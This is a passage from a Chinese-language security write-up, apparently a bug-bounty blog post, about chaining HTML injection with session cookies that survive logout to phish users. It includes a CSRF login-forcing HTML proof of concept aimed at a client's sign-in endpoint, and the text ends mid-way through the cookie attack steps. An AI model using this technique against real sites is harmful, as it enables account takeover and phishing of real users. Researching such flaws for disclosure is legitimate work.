利用Cookie劫持+HTML注入进行钓鱼攻击
大家好,在这篇文章中,我将展示如何挖出一个html注入漏洞,以及将其配合cookie劫持漏洞最终形成一个钓鱼手段。
HTML注入和cookie劫持:
HTML注入漏洞一般是由于在用户能够控制的输入点上,由于缺乏安全过滤,导致攻击者能将任意HTML代码注入网页。此类漏洞可能会引起许多后续攻击,例如当用户的会话cookie被泄露时,攻击者可以利用这些cookie非法修改其他用户的个人页面。
会话劫持攻击一般涉及Web会话控制原理,其中最主要的是会话令牌管理。
发现漏洞
在某次测试中,我正对某个客户信息页面上的每个输入点进行手动测试。一段时间后,我注意到某些输入没有按预期的进行显示,貌似这里存在缺陷,那么要如何利用这种类型的漏洞呢,难道是登入后才能「激活」这些HTML代码吗?
第一次尝试:尝试利用CSRF漏洞登入,攻击者向受害者发送恶意代码,一旦受害者打开,就会自动登入到攻击者自己的帐户。代码如下:
<html>
<! - CSRF Login PoC ->
<body>
<sc ript> history.pushState (, , /) </ sc ript>
<form action = "https://private-company.com/account/signin" method = "POST">
<input type = "hidden" name = "customerlogin" value = "[email protected]" />
<input type = "hidden" name = "customerpassword" value = "attacker-password" />
<input type = "submit" value = "Submit request" />
</ form>
</ body>
</ html>
很可惜的是,上面的利用代码没能成功,因为后端处理客户登录时涉及到了令牌。
第二次尝试:
Cookie劫持,攻击成功!因为管理用户会话的令牌在用户注销后并没有过期。cookies能在浏览器中继续生效,直到被手动清除。过程如下:
1.我先用一个测试帐户登录,然后点击「注销」。请注意,在这一系列操作后,本该注销的cookies仍在浏览器中: